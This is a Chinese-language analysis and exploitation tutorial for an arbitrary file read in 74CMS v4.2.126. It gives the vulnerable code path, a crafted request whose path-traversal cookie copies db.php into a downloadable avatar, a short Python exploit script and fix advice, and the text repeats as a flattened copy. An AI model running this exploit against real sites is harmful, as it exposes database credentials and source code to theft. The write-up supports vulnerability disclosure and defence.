某cms v4.2.126-任意文件读取漏洞
字数 1399 2025-08-29 08:31:41

74CMS v4.2.126 任意文件读取漏洞分析及利用教程

0x00 漏洞概述

  • 厂商:74CMS(骑士人才系统)
  • 影响版本:v4.2.126(基于ThinkPHP 3.2.3重构)
  • 漏洞类型:任意文件读取
  • 利用条件:无需升级至最新版本
  • 漏洞文件MembersController.class.php
  • 关键函数_save_avatar()register()

0x01 环境搭建

  1. 下载安装
    • 官网下载基础版安装包:http://www.74cms.com/download/index.html
    • 完成安装后进入后台,检查版本并升级(若提示“域名不合法”需修改文件):
      • 文件路径:/Application/Admin/Controller/ApplyController.class.php
      • 修改内容:将所有$_SERVER['HTTP_HOST']替换为http://baidu.com

0x02 漏洞原理

关键代码分析
  1. 漏洞触发点_save_avatar($avatar, $uid)

    • 文件路径/Application/Home/Controller/MembersController.class.php
    • 漏洞逻辑
      • $avatar(用户可控)拼接为文件路径$path(如Application/Common/Conf/db.php)。
      • 通过copy($path, $filename)将目标文件复制为头像文件($filename为MD5($uid+time()).jpg)。
      • 由于未校验$avatar内容,导致任意文件读取。
  2. 调用链register()_save_avatar()

    • 当POST参数ucenter=bind时,从Cookie中读取members_uc_infomembers_bind_info数组。
    • 合并数组后,若$data['utype']=2(可控)绕过注册逻辑,进入头像保存流程。

0x03 漏洞复现

利用步骤
  1. 构造请求

    • URLhttp://target.com/index.php?m=Home&c=Members&a=register
    • POST数据
      reg_type=2&utype=2&org=bind&ucenter=bind
      
    • Cookie(关键):
      members_bind_info[temp_avatar]=../../Application/Common/Conf/db.php;
      members_bind_info[type]=qq;
      members_uc_info[password]=123456;
      members_uc_info[uid]=1;
      members_uc_info[username]=test;
      
    • Headers
      Content-Type: application/x-www-form-urlencoded
      X-Requested-With: XMLHttpRequest
      
  2. 结果获取

    • 文件内容会被复制到头像目录:/data/upload/avatar/{MD5}.jpg
    • 通过访问生成的MD5文件名下载文件(如/data/upload/avatar/a1b2c3d4.jpg)。

0x04 漏洞利用工具

  1. 自动化脚本
    • 参考附件74cms_file_read.zip,实现以下功能:
      • 自动发送恶意请求。
      • 计算目标文件的MD5路径并下载。
    • 伪代码逻辑
      import requests
      target = "http://target.com"
      file_to_read = "../../Application/Common/Conf/db.php"
      cookies = {
          "members_bind_info[temp_avatar]": file_to_read,
          "members_uc_info[uid]": "1"
      }
      response = requests.post(
          f"{target}/index.php?m=Home&c=Members&a=register",
          data={"ucenter": "bind", "utype": 2},
          cookies=cookies
      )
      

0x05 修复建议

  1. 临时缓解
    • 禁用register接口或限制Cookie中members_bind_info的输入。
  2. 官方补丁
    • 升级至最新版本,或修补_save_avatar()函数,校验$avatar路径合法性。

0x06 总结

  • 利用难点:需控制Cookie中的数组参数,但通过自动化工具可简化。
  • 渗透价值:可读取数据库配置(db.php)、源码等敏感信息,进一步渗透服务器。

附录:漏洞利用工具及测试环境配置脚本详见先知社区原帖附件。

74CMS v4.2.126 任意文件读取漏洞分析及利用教程 0x00 漏洞概述 厂商 :74CMS(骑士人才系统) 影响版本 :v4.2.126(基于ThinkPHP 3.2.3重构) 漏洞类型 :任意文件读取 利用条件 :无需升级至最新版本 漏洞文件 : MembersController.class.php 关键函数 : _save_avatar() 、 register() 0x01 环境搭建 下载安装 官网下载基础版安装包: http://www.74cms.com/download/index.html 完成安装后进入后台,检查版本并升级(若提示“域名不合法”需修改文件): 文件路径: /Application/Admin/Controller/ApplyController.class.php 修改内容:将所有 $_SERVER['HTTP_HOST'] 替换为 http://baidu.com 0x02 漏洞原理 关键代码分析 漏洞触发点 : _save_avatar($avatar, $uid) 文件路径 : /Application/Home/Controller/MembersController.class.php 漏洞逻辑 : $avatar (用户可控)拼接为文件路径 $path (如 Application/Common/Conf/db.php )。 通过 copy($path, $filename) 将目标文件复制为头像文件( $filename 为MD5( $uid+time() ).jpg)。 由于未校验 $avatar 内容,导致任意文件读取。 调用链 : register() → _save_avatar() 当POST参数 ucenter=bind 时,从Cookie中读取 members_uc_info 和 members_bind_info 数组。 合并数组后,若 $data['utype']=2 (可控)绕过注册逻辑,进入头像保存流程。 0x03 漏洞复现 利用步骤 构造请求 URL : http://target.com/index.php?m=Home&c=Members&a=register POST数据 : Cookie (关键): Headers : 结果获取 文件内容会被复制到头像目录: /data/upload/avatar/{MD5}.jpg 通过访问生成的MD5文件名下载文件(如 /data/upload/avatar/a1b2c3d4.jpg )。 0x04 漏洞利用工具 自动化脚本 参考附件 74cms_file_read.zip ,实现以下功能: 自动发送恶意请求。 计算目标文件的MD5路径并下载。 伪代码逻辑 : 0x05 修复建议 临时缓解 禁用 register 接口或限制Cookie中 members_bind_info 的输入。 官方补丁 升级至最新版本,或修补 _save_avatar() 函数,校验 $avatar 路径合法性。 0x06 总结 利用难点 :需控制Cookie中的数组参数,但通过自动化工具可简化。 渗透价值 :可读取数据库配置( db.php )、源码等敏感信息,进一步渗透服务器。 附录 :漏洞利用工具及测试环境配置脚本详见先知社区原帖附件。